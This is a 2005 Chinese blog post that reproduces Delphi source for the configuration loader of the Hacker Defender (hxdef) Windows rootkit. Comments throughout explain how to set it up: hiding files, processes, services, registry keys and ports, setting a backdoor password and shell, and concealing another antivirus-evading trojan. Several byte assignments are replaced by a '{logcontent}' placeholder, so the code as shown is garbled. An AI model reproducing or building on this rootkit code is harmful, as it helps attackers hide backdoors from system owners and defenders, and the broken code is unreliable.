守(hxdef1.0)配置部分源码

      分类一 2005-10-11 11:41


作者:华夏blog 文章来源:ALiWY.77169.com 点击数:126 更新时间:2005-10-11

使用C写的驱动和Delphi写(包含大部分汇编代码)完成的黑守:

配置是INI文件

看看读配置的代码:

主要包括:[Hidden Table],[Root Processes],[HiddenServices],[Hidden RegKeys],[Hidden Regvalues],[Startup Run],[Free Space],[Hidden pORTS],[Settings]。对应功能就是隐藏文件(目录)、隐藏进程、隐蔽服务、隐藏注册键、隐藏注册表键值、启动程序、增加磁盘剩余空间、隐藏端口、后门设置

function LoadInifile:Boolean;
var
LFile,LLine,LULine,LDrive,LDevDrive:string; //变量
LList:TList;
LI,LPortsCount:Integer;
LSize:Int64;
LPListItem:PStringListItem;
LAuthNum,LRet,LProto,LPort:Cardinal;
LAuthStr:array[0..15] of Char;
LHwnd:THandle;
LPObjectInfo:Pointer;
LAnsiString:TAnsiString;
LStatusBlock:TIoStatusBlock;
LFileFSSizeInfo:TFileFSSizeInformation;
LPorts:array [0..2,0..65535] of Boolean;
LPB,LPB2:PByte;
//Inifile文件读写
begin
Result:=False;
if (ParamCount=1) and (Pos('-:',ParamStr(1))<>1) then Inifile:=ParamStr(1)
else Inifile:=IniNameFromExe;
if not FileExists(IniFile) then //进行判断
begin
Lfile:=ExtractFilePath(ParamStr(0)); //文件是位于程序目录下的
AddLastBackslash(LFile);
Inifile:=LFile+ExtractFileName(IniFile);
if not FileExists(IniFile) then Exit;
end;
ZeroMemory(@HiddenArray,SizeOf(HiddenArray));
ZeroMemory(@HiddenProcesses,SizeOf(HiddenProcesses));
ZeroMemory(@RootArray,SizeOf(RootArray));
ZeroMemory(@ServicesArray,SizeOf(ServicesArray));
ZeroMemory(@RegKeysArray,SizeOf(RegKeysArray));
ZeroMemory(@RegvaluesArray,SizeOf(RegKeysArray));
ZeroMemory(@PasswordArray,SizeOf(PasswordArray));
ZeroMemory(@FreeSpaceArray,SizeOf(FreeSpaceArray));
ZeroMemory(@HiddenPortsArray,SizeOf(HiddenPortsArray));
AssignFile(FIni,IniFile);
Reset(FIni);

LPB:=@HiddenArray;
LLine:='';
////////////////////////////////////////////////////////////
{ [Hidden Table]
hxdef* /*隐藏所有以hxdef开头的文件名、目录名等
rcmd.exe /*隐藏rcmd.exe文件}
////////////////////////////////////////////////////////////
while (not EoF(FIni)) and (UpCase(Trim(CorrectIniLine(LLine)))<>'[HIDDEN TABLE]') do ReadLn(FIni,LLine);
if EoF(FIni) then
begin
CloseFile(FIni);
Exit;
end;
while not EoF(FIni) do
begin
ReadLn(FIni,LLine);
LLine:=Trim(CorrectIniLine(LLine));
if Length(LLine)=0 then Break;
CopyMemory(LPB,@LLine[1],Length(LLine));
Inc(LPB,Length(LLine));
LPB^:={logcontent};
Inc(LPB);
end;
LPB^:={logcontent};
Inc(LPB);
HiddenArraySize:=Cardinal(LPB)-Cardinal(@HiddenArray);

LPB:=@HiddenProcesses;
LLine:='';

////////////////////////////////////////////////////////////
{ [Root Processes]这里是配置要隐藏能在进程管理器中显示的进程名,同样支持通配符。
例如:
[Root Processes]
hxdef* /*隐藏所有以hxdef开头的所有进程
rcmd.exe /*隐藏rcmd.exe文件进程 }
////////////////////////////////////////////////////////////

while (not EoF(FIni)) and (UpCase(Trim(CorrectIniLine(LLine)))<>'[HIDDEN PROCESSES]') do ReadLn(FIni,LLine);
if EoF(FIni) then begin CloseFile(FIni); Exit; end;
while not EoF(FIni) do
begin
ReadLn(FIni,LLine);
LLine:=Trim(CorrectIniLine(LLine));
if Length(LLine)=0 then Break;
CopyMemory(LPB,@LLine[1],Length(LLine));
Inc(LPB,Length(LLine));
LPB^:={logcontent};
Inc(LPB);
end;
LPB^:={logcontent};
Inc(LPB);
HiddenProcessesSize:=Cardinal(LPB)-Cardinal(@HiddenProcesses);

LPB:=@RootArray;
LLine:='';
while (not EoF(FIni)) and (UpCase(Trim(CorrectIniLine(LLine)))<>'[ROOT PROCESSES]') do ReadLn(FIni,LLine);
if EoF(FIni) then begin CloseFile(FIni); Exit; end;
while not EoF(FIni) do
begin
ReadLn(FIni,LLine);
LLine:=Trim(CorrectIniLine(LLine));
if Length(LLine)=0 then Break;
LLine:=UpCase(LLine);
CopyMemory(LPB,@LLine[1],Length(LLine));
Inc(LPB,Length(LLine));
LPB^:={logcontent};
Inc(LPB);
end;
LPB^:={logcontent};
Inc(LPB);
RootArraySize:=Cardinal(LPB)-Cardinal(@RootArray);

LPB:=@ServicesArray;
LLine:='';
////////////////////////////////////////////////////////////
{ [Hidden Services]项目,是所要隐藏的服务列表,hxdef非但可以隐藏自身,而且还可以为其他后门、程序提供隐藏服务。
首先当然是隐藏自身了,而后是其他的服务,支持通配符,一行一个。
例如:
[Hidden Services]
Hackerdefender* /*这个是你的hxdef的服务名
SVCH0ST /*这个是我的网络神偷免杀版的服务名,那个o其实是数字0}
////////////////////////////////////////////////////////////
while (not EoF(FIni)) and (UpCase(Trim(CorrectIniLine(LLine)))<>'[HIDDEN SERVICES]') do ReadLn(FIni,LLine);
if EoF(FIni) then begin CloseFile(FIni); Exit; end;
while not EoF(FIni) do
begin
ReadLn(FIni,LLine);
LLine:=Trim(CorrectIniLine(LLine));
if Length(LLine)=0 then Break;
LLine:=UpCase(LLine);
CopyMemory(LPB,@LLine[1],Length(LLine));
Inc(LPB,Length(LLine));
LPB^:={logcontent};
Inc(LPB);
end;
LPB^:={logcontent};
Inc(LPB);
ServicesArraySize:=Cardinal(LPB)-Cardinal(@ServicesArray);

LPB:=@RegKeysArray;
LLine:='';

////////////////////////////////////////////////////////////
{ [Hidden RegKeys]隐藏RegKeys列表,我们天家的服务都是在Hkey_LOCAL_MACHINE\SYSTEM\CURRENTCONTROLSET\Services
找到对应的注册表项,所以为了做到彻底隐藏,我们就要将隐藏进行到底,
例如:
[Hidden RegKeys]
Hackerdefender100 /*默认服务名
LEGACY_Hackerdefender100 /*LEGACY加hxdef的服务名
HackerdefenderDrv100 /*hxdef的默认驱动名
LEGACY_HackerdefenderDrv100 /*LEGACY加HackerdefenderDrv100的服务名
其他的服务也如此添加,不同服务应该对应自身的服务名。 }
////////////////////////////////////////////////////////////

while (not EoF(FIni)) and (UpCase(Trim(CorrectIniLine(LLine)))<>'[HIDDEN REGKEYS]') do ReadLn(FIni,LLine);
if EoF(FIni) then begin CloseFile(FIni); Exit; end;
LList:=TList.Create;
while not EoF(FIni) do
begin
ReadLn(FIni,LLine);
LLine:=Trim(CorrectIniLine(LLine));
if Length(LLine)=0 then Break;
LLine:=UpCase(LLine);
New(LPListItem);
ZeroMemory(LPListItem,SizeOf(LPListItem^));
CopyMemory(LPListItem,@LLine[1],Length(LLine));
LList.Add(LPListItem);
end;
LList.Sort(@StringListCompare);
for LI:=0 to LList.Count-1 do
begin
LPListItem:=LList[LI];
CopyMemory(LPB,LPListItem,Length(PChar(LPListItem)));
Inc(LPB,Length(PChar(LPListItem)));
LPB^:={logcontent};
Inc(LPB);
Dispose(LPListItem);
end;
LList.Clear;
LList.Free;
LPB^:={logcontent};
Inc(LPB);
RegKeysArraySize:=Cardinal(LPB)-Cardinal(@RegKeysArray);

LPB:=@RegvaluesArray;
LLine:='';
while (not EoF(FIni)) and (UpCase(Trim(CorrectIniLine(LLine)))<>'[HIDDEN REGvalueS]') do ReadLn(FIni,LLine);
if EoF(FIni) then begin CloseFile(FIni); Exit; end;
while not EoF(FIni) do
begin
ReadLn(FIni,LLine);
LLine:=Trim(CorrectIniLine(LLine));
if Length(LLine)=0 then Break;
CopyMemory(LPB,@LLine[1],Length(LLine));
Inc(LPB,Length(LLine));
LPB^:={logcontent};
Inc(LPB);
end;
LPB^:={logcontent};
Inc(LPB);
RegvaluesArraySize:=Cardinal(LPB)-Cardinal(@RegvaluesArray);

LPB:=@FreeSpaceArray;
LLine:='';
while (not EoF(FIni)) and (UpCase(Trim(CorrectIniLine(LLine)))<>'[FREE SPACE]') do ReadLn(FIni,LLine);
if EoF(FIni) then begin CloseFile(FIni); Exit; end;
while not EoF(FIni) do
begin
ReadLn(FIni,LLine);
LLine:=Trim(LLine);
if Length(LLine)=0 then Break;
LDrive:='\\.\'+LLine[1]+':';
LSize:=StrToIntDef(Copy(LLine,3,MaxInt));
if LSize>0 then
begin
LHwnd:=CreateFile(PChar(LDrive),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,nil,OPEN_EXISTING,0,0);

if NtQueryVolumeInformationFile(LHwnd,@LStatusBlock,@LFileFSSizeInfo,SizeOf(LFileFSSizeInfo),FileFsSizeInformation)=0 then LSize:=LSize div (LFileFSSizeInfo.SectorsPerAllocationUnit*LFileFSSizeInfo.BytesPerSector)
else LSize:=LSize div (8*512); //default

LRet:=1024;
LPObjectInfo:=Pointer(LocalAlloc(LMEM_FIXED,LRet));
NtQueryObject(LHwnd,ObjectNameInformation,LPObjectInfo,LRet,nil);

RtlUnicodeStringToAnsiString(@LAnsiString,@PObjectNameInformation(LPObjectInfo).Name,True);
LDevDrive:=LAnsiString.Buffer;
RtlFreeAnsiString(@LAnsiString);
if Length(LDevDrive)>0 then
begin
if LastChar(LDevDrive,'\') then LDevDrive:=Copy(LDevDrive,1,Length(LDevDrive)-1);
LDevDrive:=LDevDrive+'*';
CopyMemory(LPB,@LDevDrive[1],Length(LDevDrive));
Inc(LPB,Length(LDevDrive));
LPB^:=0;
Inc(LPB);
PInt64(LPB)^:=LSize;
Inc(LPB,SizeOf(Int64));
end;
LocalFree(Cardinal(LPObjectInfo));
CloseHandle(LHwnd);
end;
end;
LPB^:={logcontent};
Inc(LPB);
FreeSpaceArraySize:=Cardinal(LPB)-Cardinal(@FreeSpaceArray);

ZeroMemory(@LPorts,SizeOf(LPorts));
LPB:=@HiddenPortsArray;
LLine:='';
////////////////////////////////////////////////////////////
{[Hidden Ports]
TCP:2004,8922,9333 /*要隐藏的TCP协议端口
UDP:2004,8922,9333 /*要隐藏的UDP协议端口 }
////////////////////////////////////////////////////////////
while (not EoF(FIni)) and (UpCase(Trim(CorrectIniLine(LLine)))<>'[HIDDEN PORTS]') do ReadLn(FIni,LLine);
if EoF(FIni) then begin CloseFile(FIni); Exit; end;
while not EoF(FIni) do
begin
ReadLn(FIni,LLine);
LLine:=UpCase(Trim(LLine));
if Length(LLine)=0 then Break;
if Pos('TCPI:',LLine)=1 then LProto:=0
else if Pos('TCPO:',LLine)=1 then LProto:=1
else if Pos('UDP:',LLine)=1 then LProto:=2
else LProto:=3;
if (LProto=0) or (LProto=1) or (LProto=2) then

begin
LLine:=Trim(Copy(LLine,5,MaxInt));
if Length(LLine)>0 then
if LLine[1]=':' then LLine:=Copy(LLine,2,MaxInt);

LLine:=LLine+',';
while Length(LLine)>0 do
begin
LPort:=$FFFFFFFF;
LI:=Pos(',',LLine);
if LI>0 then
begin
LPort:=StrToIntDef(Trim(Copy(LLine,1,LI-1)),$FFFFFFFF);
LLine:=Trim(Copy(LLine,LI+1,MaxInt));
end;
if LPort<=65535 then LPorts[LProto,LPort]:=True;
end;
end;
end;

Inc(LPB,2);
LPortsCount:=0;
for LI:=0 to 65535 do
if LPorts[0,LI] then
begin
PWord(LPB)^:=Word(LI);
Inc(LPB,2);
Inc(LPortsCount);
end;

PWord(@HiddenPortsArray)^:=Word(LPortsCount);
PWord(LPB)^:=0;
Inc(LPB,2);
LPB2:=LPB;
Inc(LPB,2);

LPortsCount:=0;
for LI:=0 to 65535 do
if LPorts[1,LI] then
begin
PWord(LPB)^:=Word(LI);
Inc(LPB,2);
Inc(LPortsCount);
end;

PWord(LPB2)^:=Word(LPortsCount);
PWord(LPB)^:=0;
Inc(LPB,2);

for LI:=0 to 65535 do
if LPorts[2,LI] then
begin
PWord(LPB)^:=Word(LI);
Inc(LPB,2);
end;
PWord(LPB)^:=0;
Inc(LPB,2);
HiddenPortsArraySize:=Cardinal(LPB)-Cardinal(@HiddenPortsArray);

LAuthNum:=0;
BackdoorShell:='';
ServiceName:='';
ServiceDisplayName:='';
ServiceDescription:='';
LLine:='';

////////////////////////////////////////////////////////////
{[Settings] hxdef 的设置部分,可以设置hxdef的服务名,描述,显示名等。设置方法如下:
[Settings]
Password=eyas.126.com /*后门连接密码
BackdoorShell=stdio?.exe /*后门连接后,会将cmd.exe复制一份,每个连接复制一份,?为通配符。连接完毕后,自动删除。
FileMappingName=_.-=[Hacker Defender]=-._
ServiceName=HackerDefender100 /*hxdef的服务名,要和上面的[Hidden Services]项对应!
ServiceDisplayName=HXD Service 100 /*hxdef的服务显示名
ServiceDescription=powerfui NT rookit /*hxdef的服务描述
DriverName=HackerDefenderDrv100 /*hxdef驱动名
DriverFileName=hxdefdrv.sys /*hxdef驱动文件名}
////////////////////////////////////////////////////////////

while (not EoF(FIni)) and (UpCase(Trim(CorrectIniLine(LLine)))<>'[SETTINGS]') do ReadLn(FIni,LLine);
if EoF(FIni) then begin CloseFile(FIni); Exit; end;
for LI:=0 to SettingsCount-1 do
begin
ReadLn(FIni,LLine);
LULine:=UpCase(CorrectIniLine(LLine));
LLine:=Copy(LLine,Pos('=',LLine)+1,MaxInt);
if Pos('PASSWORD',LULine)=1 then
begin
LLine:=Copy(Trim(LLine),1,16);
FillChar(LAuthStr,SizeOf(LAuthStr),$20);
CopyMemory(@LAuthStr,Pointer(LLine),Length(LLine));
LAuthNum:=AuthStrToNum(@LAuthStr);
PCardinal(@PasswordArray)^:=LAuthNum;
PasswordArraySize:=SizeOf(PasswordArray);
end else if Pos('BACKDOORSHELL',LULine)=1 then BackdoorShell:=LLine
else if Pos('SERVICENAME',LULine)=1 then ServiceName:=LLine
else if Pos('SERVICEDISPLAYNAME',LULine)=1 then ServiceDisplayName:=LLine
else if Pos('SERVICEDESCRIPTION',LULine)=1 then ServiceDescription:=LLine
else if Pos('DRIVERNAME',LULine)=1 then DriverName:=LLine
else if Pos('DRIVERFILENAME',LULine)=1 then DriverFileName:=LLine
else if Pos('FILEMAPPINGNAME',LULine)=1 then FileMappingName:=Copy(LLine,1,FileMappingNameMaxLen);
end;
CloseFile(FIni);
if (LAuthNum=0) or (Length(BackdoorShell)=0) or (Length(ServiceName)=0) or (Length(DriverName)=0)
or (Length(DriverFileName)=0) or (Length(FileMappingName)=0) then Exit;

for LI:=1 to Length(FileMappingName) do
if (FileMappingName[LI]='\') or (FileMappingName[LI]='/') then FileMappingName[LI]:='-';

Result:=True;
end;

标签集:TAGS:
回复Comments() 点击Count()

回复Comments

{commenttime}{commentauthor}

{CommentUrl}
{commentcontent}